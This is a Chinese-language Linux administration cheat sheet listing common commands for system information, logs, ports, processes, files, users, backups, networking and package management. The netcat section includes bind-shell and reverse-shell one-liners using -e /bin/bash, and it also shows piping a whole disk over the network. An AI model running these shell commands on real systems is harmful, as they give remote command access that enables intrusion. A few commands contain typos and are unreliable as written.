目录
1、系统信息查看
2、关机、重启、登出
3、系统日志
4、端口查看
5、进程查看
6、文件和目录操作
7、文件权限
8、文件特殊属性
9、文件搜索
10、挂载
11、用户和群组
12、打包和压缩
13、备份
14、网络
15、安装包管理
1.系统信息查看
查看处理器架构
arch、uname -m、lscpu
查看内核的版本
cat /proc/version、uname -r
查看系统版本信息
cat /etc/redhat-release(只适合Redhat系)、lsb_release -a、cat /etc/issue
查看设备重启记录、用户登录记录
last -f wtmp
查看CPU 信息
cat /proc/cpuinfo、lscpu
查看CPU 型号
cat /proc/cpuinfo |grep name |cut -f2 -d : |uniq -c
查看占用cpu资源最多的10个进程
ps aux | head -1;ps aux | sort -rm -k +4 | head
查看内存信息
free -m、cat /proc/meminfo
查看占用内存高的三十个进程
ps aux |awk ‘{$6/1024 “MB\t\t” $11}’ | sort -n | tail 30
查看硬盘和分区信息
lsblk、fdisk -l
查看10秒内每秒的磁盘占用
iostat(需安装) -x 1 10
查看网卡信息
lspci | grep -i ethernet
查看显卡信息
lspci | grep -i vga
罗列 PCI 设备
lspci -tv
查看 USB 设备
lsusb -tv(需安装usbutils)
查看系统日期
date
查看哪些swap被使用
cat /proc/swaps
查看网络适配器及统计
cat /proc/net/dev
查看已加载的文件系统
cat /proc/mounts
2.关机、重启及登出
- 关机 shutdown -h now、init 0 、telinit 0
- 重启 shutdown -r now、reboot
- 按预定时间关机 shutdown -h hours:minutes
- 取消按预定时间关机 shutdown -c
- 注销 logout
3.系统日志
/var/log/messages
主要存放系统日志。记录linux内核消息及各种应用程序的公共日志信息,包括启动、IO错误、网络错误、程序故障等。对于未使用独立日志文件的应用程序或服务,一般都可以从该文件获得相关的事件记录信息。/var/log/cron
crond计划任务,和crontab不可分割,crontab是执行命令
记录crond计划任务产生的事件信息/var/log/secure
记录验证与授权信息,例如sshd会将所有信息记录在此/var/log/lastlog
记录系统中所有用户最后一次登录的日志,此文件是二进制文件,不能直接cat、vi查看,需要使用lastlog命令查看/var/log/utmp
记录当前登录的每个用户的详细信息,此文件是二进制信息,不能直接cat、vi,需要使用w,who命令查看/var/log/wtmp
永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。此文件是二进制文件,不能直接cat、vi查看,需要使用last命令查看(last -f 指定文件路径)
4.端口查看
4.1 netstat
-a –列出所有端口
-at –列出所有tcp端口
-au –列出所有udp端口
-l –列出处于监听状态的端口
-lt –所有监听状态的tcp端口
–udp同理同上
-s –显示网络统计信息
-st –tcp
-su –udp
-p –显示PID和进程名称
-n –不显示主机、端口和用户名,用数字代替
-i –显示网络接口列表
-ie –显示详细信息,像ifconfig
-r –显示路由表
4.2 ss
比netstat更快
-h –help 帮助
-V –version 显示版本号
-t –tcp 显示 TCP 协议的 sockets
-u –udp 显示 UDP 协议的 sockets
-x –unix 显示 unix domain sockets,与 -f 选项相同
-n –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
-l –listening 只显示处于监听状态的端口
-p –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
-a –all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
-r –resolve 把 IP 解释为域名,把端口号解释为协议名称
4.3 lsof
lsof 常见的用法是查找应用程序打开的文件的名称和数目。
查看8080端口占用情况
lsof -i :8080
显示开启文件abc.txt的进程
lsof abc.txt
显示abc进程现在打开的文件
lsof -c abc
列出进程号为1234的进程所打开的文件
lsof -c -p 1234
显示归属gid的进程情况
lsof -g gid
显示目录下被进程开启的文件
lsof +d /usr/local/
5.进程查看
5.1 ps
a:显示一个终端的所有进程,除会话引线外;
u:显示进程的归属用户及内存的使用情况;
x:显示没有控制终端的进程;
-l:长格式显示更加详细的信息;
-e:显示所有进程;
-f :用ASCII字符显示树状结构,表达程序间的相互关系
常用
- ps -aux | grep root
- ps aux | grep root
- ps -ef | grep java
5.2 pstree
用ASCII字符显示树状结构,清楚地表达程序间的相互关系。
5.3 jobs
jobs查看后台进程
命令或脚本 命令行后加 & 表示放到后台运行
jobs查看后台运行的进程
kill 时进程号前加%
正在前台运行的进程 ctrl+Z 进入暂停状态并放入后台
bg %进程号 放入后台继续运行
fg %进程号 放入前台继续运行
disown 从table中移除一个job
-h 不从table中移除job,设置为不接受shell发送的sighub信号
-a 如果不指定id,针对所有job删除
-r 如果不指定id,只对running状态进行删除
6.文件和目录操作
6.1 ls
查看目录中的文件
ls
显示文件和目录的详细资料
ls -l
显示隐藏文件
ls -a
6.2 cd
进入 ‘/ home’ 目录
cd /home
返回上一级目录
cd ..
返回上两级目录
cd ../..
返回上次所在的目录
cd -
6.3 pwd
显示工作路径
pwd
6.4 mkdir
创建一个叫做 ‘dir1’ 的目录
mkdir dir1
同时创建两个目录
mkdir dir1 dir2
创建一个目录树
mkdir -p /tmp/dir1/dir2
6.5 rm
删除一个叫做 ‘file1’ 的文件
rm -f file1
删除一个叫做 ‘dir1’ 的目录并同时删除其内容
rm -rf dir1
6.6 rmdir
删除一个叫做 ‘dir1’ 的目录
rmdir dir1
6.7 cp
复制一个文件
cp file1 file2
复制dir目录下的所有文件到当前工作目录
cp dir/* .
复制一个目录到当前工作目录
cp -a /tmp/dir1 .
复制一个目录
cp -a dir1 dir2
复制一个目录及子目录
cp -r dir1 dir2
6.8 mv
重命名/移动 一个目录
mv dir1 new_dir
6.9 ln
创建一个指向文件或目录的软链接
ln -s file1 lnk1
创建一个指向文件或目录的物理链接
ln file1 lnk1
6.10 scp
scp [可选参数] file_source file_target
从本地复制到远程服务器的/home/目录
scp 1.txt root@1.1.1.1:/home/
从远程复制到本地
scp root@1.1.1.1:/home/tmp/1.txt /home/tmp
6.11 diff
6.12 清空文件
true命名
true > access.log
‘’:’’ 符号,shell的内置命令,等同于true,用来作为no-op(不进行任何操作)
: > access.log
使用cat、cp、dd命令操作/dev/null设备
cat /dev/null > access.log
cp /dev/null > access.log
dd if=/dev/null of=access.log【if代表输入、of代表输出】
使用echo命令将空字符串重定向到文件
echo “ “ > access.log
echo > access.log
以上将有空白字符
echo -n “ “ > access.log
truncate
将一个文件缩小或者扩展到某个给定的大小
文件大小设定为0
truncate -s 0 access.log
6.13查看大文件
du
查看目录下所有文件大小
du -x -h –max-depth=1查看存储已达G的文件
du -x -h –max-depth=1 | grep 'G'查看存储已达G的文件,并排序
du -x -h –max-depth=1 | grep 'G' | sort -nr
7.文件权限
7.1 chmod
修改用户的权限
文件基本权限有九个,分别是 owner/group/others(拥有者/组/其他) 三种身份各有自己的 read/write/execute 权限。
文件的权限字符为: -rwxrwxrwx
r:4
w:2
x:1
将/bin/file1文件所有的权限都设定启用
chmod 777 /bin/file1
7.2 chown
更改用户所属用户与组
改变一个文件的所有人属性
chown user1 file1
改变一个目录的所有人属性并同时改变改目录下所有文件的属性
chown -R user1 directory1
改变一个文件的所有人和群组属性
chown user1:group1 file1
7.3 chgrp
更改文件所属组
改变文件的群组
chgrp group1 file1
8.文件特殊属性
只允许以追加方式读写文件
chattr +a file1
在进行文件系统备份时,dump程序将忽略这个文件
chattr +d file1
设置成不可变的文件,不能被删除、修改、重命名或者链接
chattr +i file1
一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘
chattr +S file1
若文件被删除,系统会允许你在以后恢复这个被删除的文件
chattr +u file1
显示特殊的属性
lsattr
9.文件搜索
9.1 grep
grep -[acinv] ‘搜索内容串’ filename
-a 以文本文件方式搜索
-c 计算找到的符合行的次数
-i 忽略大小写
-n 顺便输出行号
-v 反向选择,即显示不包含匹配文本的所有行
grep正则表达式元字符集(基本集)
^ 行的开始 如:’^grep’匹配所有以grep开头的行。
$ 行的结束 如:’grep$’匹配所有以grep结尾的行。
. 匹配一个非换行符的字符 如:’gr.p’匹配gr后接一个任意字符,然后是p。
*匹配零个或多个先前字符 如:’grep’匹配所有一个或多个空格后紧跟grep的行。
.*一起用代表任意字符。
[] 匹配一个指定范围内的字符,如’[Gg]rep’匹配Grep和grep。
[^] 匹配一个不在指定范围内的字符,如:’[^A-FH-Z]rep’匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。
/(../) 标记匹配字符,如’/(love/)’,love被标记为1。
/< 锚定单词的开始
/> 锚定单词的结束,如’grep/>’匹配包含以grep结尾的单词的行。
例:
统计所有以“us”字符开头的行有多少
grep -c “us” test.txt
不区分大小写查找“May”所有的行
grep -i “May” test.txt
显示行号;显示匹配字符“user”的行及行号
grep -n “user” test.txt
显示输出没有字符“user”所有的行
grep -v “user” test.txt
显示输出字符“user”所在的行
grep “user” test.txt
搜索有the的行,并输出行号
grep -n ‘the’ regular_express.txt
搜 索没有the的行,并输出行号
grep -nv ‘the’ regular_express.txt
9.2 find
从 ‘/‘ 开始进入根文件系统搜索文件和目录
find / -name file1
搜索属于用户 ‘user1’ 的文件和目录
find / -user user1
在目录 ‘/ home/user1’ 中搜索带有’.bin’ 结尾的文件
find /home/user1 -name *.bin
搜索在过去100天内未被使用过的执行文件
find /usr/bin -type f -atime +100
搜索在10天内被创建或者修改过的文件
find /usr/bin -type f -mtime -10
搜索以 ‘.rpm’ 结尾的文件并定义其权限
find / -name *.rpm -exec chmod 755 ‘{}’ ;
搜索以 ‘.rpm’ 结尾的文件,忽略光驱、捷盘等可移动设备
find / -xdev -name *.rpm
显示一个二进制文件、源码或man的位置
whereis halt
显示一个二进制文件或可执行文件的完整路径
which halt
9.3 locate
寻找以 ‘.ps’ 结尾的文件 - 先运行 ‘updatedb’ 命令 locate *.ps
10.挂载
10.1 mount
挂载一个叫做hda2的盘到/mnt/hda2路径 mount /dev/hda2 /mnt/hda2
其他挂载上同
10.2 umount
卸载一个叫做hda2的盘 - 先从挂载点 ‘/ mnt/hda2’ 退出 umount /dev/hda2
当设备繁忙时强制卸载 fuser -km /mnt/hda2
运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用 umount -n /mnt/hda2
11.用户和群组
创建一个新用户组
groupadd group_name
删除一个用户组
groupdel group_name
创建一个新用户
useradd user1
删除一个用户
userdel -r user1
重命名一个用户组
groupmod -n new_group_name old_group_name
创建一个属于 “admin” 用户组的用户
useradd -c “Name Surname “ -g admin -d /home/user1 -s /bin/bash user1
修改用户属性
usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1
修改口令
passwd
修改一个用户的口令 (只允许root执行)
passwd user1
设置用户口令的失效期限
chage -E 2005-12-31 user1
检查 ‘/etc/passwd’ 的文件格式和语法修正以及存在的用户
pwck
检查 ‘/etc/passwd’ 的文件格式和语法修正以及存在的群组
grpck
用户账号密码输入次数过多锁定后解除(清除错误次数)
pam_tally2 -u root -r
12.打包和压缩
12.1 rar
创建一个叫做 ‘file1.rar’ 的包
rar a file1.rar test_file
同时压缩 ‘file1’, ‘file2’ 以及目录 ‘dir1’
rar a file1.rar file1 file2 dir1
解压rar包
rar x file1.rar、 unrar x file1.rar
创建一个非压缩的 tar包
tar -cvf archive.tar file1
释放一个包
tar -xvf archive.tar
将压缩包释放到 /tmp目录下
tar -xvf archive.tar -C /tmp
创建一个bzip2格式的压缩包
tar -cvfj archive.tar.bz2 dir1
解压一个bzip2格式的压缩包
tar -jxvf archive.tar.bz2
创建一个gzip格式的压缩包
tar -cvfz archive.tar.gz dir1
解压一个gzip格式的压缩包
tar -zxvf archive.tar.gz
12.2 zip
创建一个zip格式的压缩包
zip file1.zip file1
将几个文件和目录同时压缩成一个zip格式的压缩包
zip -r file1.zip file1 file2 dir1
解压一个zip格式压缩包
unzip file1.zip
压缩一个叫做 ‘file1’的文件
gzip file1
最大程度压缩
gzip -9 file1
13.备份
制作一个 ‘/home’ 目录的完整备份
dump -0aj -f /tmp/home0.bak /home
制作一个 ‘/home’ 目录的交互式备份
dump -1aj -f /tmp/home0.bak /home
还原一个交互式备份
restore -if /tmp/home0.bak
通过ssh和压缩将一个远程目录同步到本地目录
rsync -az -e ssh –delete ip_addr:/home/public /home/local
通过ssh和压缩将本地目录同步到远程目录
rsync -az -e ssh –delete /home/local ip_addr:/home/public
备份磁盘内容到一个文件
dd if=/dev/sda of=/tmp/file1
日常备份文件带当前日期
mv /tmp/1.txt /tmp/1.txt.bak.`date +%F_%T`
14.网络
14.1 nc
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码输出该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
14.1.1 端口扫描,测试端口
tcp
nc -v -z -w 2 192.168.0.3 1-100
udp
nc -u -v -z -w 2 192.168.0.3 1-100
14.1.2 远程拷贝文件
server1 拷贝文件到server2
1:需要先在server2,用nc激活监听
【server2】 nc -l 1234 >1234.txt
【server1】 nc -w 1 192.168.1.1 1234 < abc.txt
14.1.3 克隆设备
【server】 dd if= /dev/sda | nc -l 20000
【client 】 nc -n 192.168.1.1 20000 | dd of=/dev/sda
14.1.4 打开shell
【server】 nc -l 20000 -e /bin/bash -i
【client 】 nc 192.168.1.1 20000
14.1.5 反向shell
【server】 nc -l 20000
【client 】 nc 192.168.1.1 20000 -e /bin/bash
14.2 arpwatch
监听网络上ARP的记录
-d 启动排错模式。
-f<记录文件> 设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat。
-i<接口> 指定监听ARP的接口,预设的接口为eth0。
-r<记录文件> 从指定的文件中读取ARP记录,而不是从网络上监听。
-n 指定附加的本地网络
-u 指定用户和用户组
-e 发送邮件给指定用户,非默认的root用户
-s 指定用户名作为返回地址,而不是默认的用户root
14.3 route
直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local中添加route命令来设置路由永久有效。
add:增加路由记录
del:删除路由记录
target:目的网络或目的主机
gw:设置默认网关
mss:设置TCP的最大区块长度(MSS),单位MB
window:指定通过路由表的TCP连接的TCP窗口大小
dev:路由记录所表示的网络接口
查看路由信息
route -n
添加路由
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.139.128.1 dev eth0
删除路由
route del -net 224.0.0.0 netmask 240.0.0.0
删除和添加默认路由
route add default gw 192.168.1.1 route del default gw 192.168.1.1
14.4 ethtool
查看端口是否up
ethtool eth0
查看网卡驱动程序
ethtool -i eth0
网卡自检
ethtool -t eth0
接口闪灯判定网卡对应名称位置
ethtool -p eth0
14.5 tcpdump
TCPDump可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。
参数较多,不一一罗列了,举一些常用的例子,如下:
监听指定网卡的所有传输数据
tcpdump -i eth0 -nnvv
捕获特定主机经过本机网卡eth0的所有数据包
tcpdump -i eth0 host x.x.x.x -nnvv
监听udp的53端口的数据包
tcpdump udp port 53 -nnvv
捕获主机A接收和发出的tcp协议的ssh的数据包
tcpdump tcp port 22 and host x.x.x.x -nnvv
捕获主机 A 和主机B或主机C的所有通信数据包
tcpdump hostx.x.x.x and (x.x.x.x or x.x.x.x ) -nnvv
捕获源主机1.1.1.1且源端口为443到目的主机2.2.2.2主机的通信
tcpdump src host 1.1.1.1 amd src port 443 and dst host 2.2.2.2 and dst port 443
抓包文件输出至指定文件
tcpdump -i eth0 -w /home/capture.pcap
获取主机A除了和主机B之外所有主机通信的ip包
tcpdump ip host A.x.x.x and ! B.x.x.x
15.安装包管理
15.1 rpm
安装一个rpm包
rpm -ivh package.rpm
安装一个rpm包而忽略依赖关系警告
rpm -ivh –nodeeps package.rpm
更新一个rpm包但不改变其配置文件
rpm -U package.rpm
删除一个rpm包
rpm -e package_name.rpm
显示系统中所有已经安装的rpm包
rpm -qa
确认一个rpm包的完整性
rpm –checksig package.rpm
确认一个rpm包还未安装
rpm -Vp package.rpm
15.2 deb
安装/更新一个 deb 包
dpkg -i package.deb
从系统删除一个 deb 包
dpkg -r package_name
显示系统中所有已经安装的 deb 包
dpkg -l
显示所有名称中包含 “httpd” 字样的deb包
dpkg -l | grep httpd
显示系统中已经安装的一个deb包所提供的文件列表
dpkg -L package_name
确认所给的文件由哪个deb包提供
dpkg -S /bin/ping
15.3 yum
下载并安装一个rpm包
yum install package_name
安装一个rpm包,使用你自己的软件仓库为你解决所有依赖关系
yum localinstall package_name.rpm
更新当前系统中所有安装的rpm包
yum update package_name.rpm
更新一个rpm包
yum update package_name
删除一个rpm包
yum remove package_name
列出当前系统中安装的所有包
yum list
在rpm仓库中搜寻软件包
yum search package_name
清理rpm缓存删除下载的包
yum clean packages
删除所有头文件
yum clean headers
删除所有缓存的包和头文件
yum clean all
15.4 apt
安装/更新一个 deb 包
apt-get install package_name
从光盘安装/更新一个 deb 包
apt-cdrom install package_name
升级列表中的软件包
apt-get update
升级所有已安装的软件
apt-get upgrade
从系统删除一个deb包
apt-get remove package_name
确认依赖的软件仓库正确
apt-get check
从下载的软件包中清理缓存
apt-get clean
查找包含所要搜索字符串的软件包名称
apt-cache search searched-package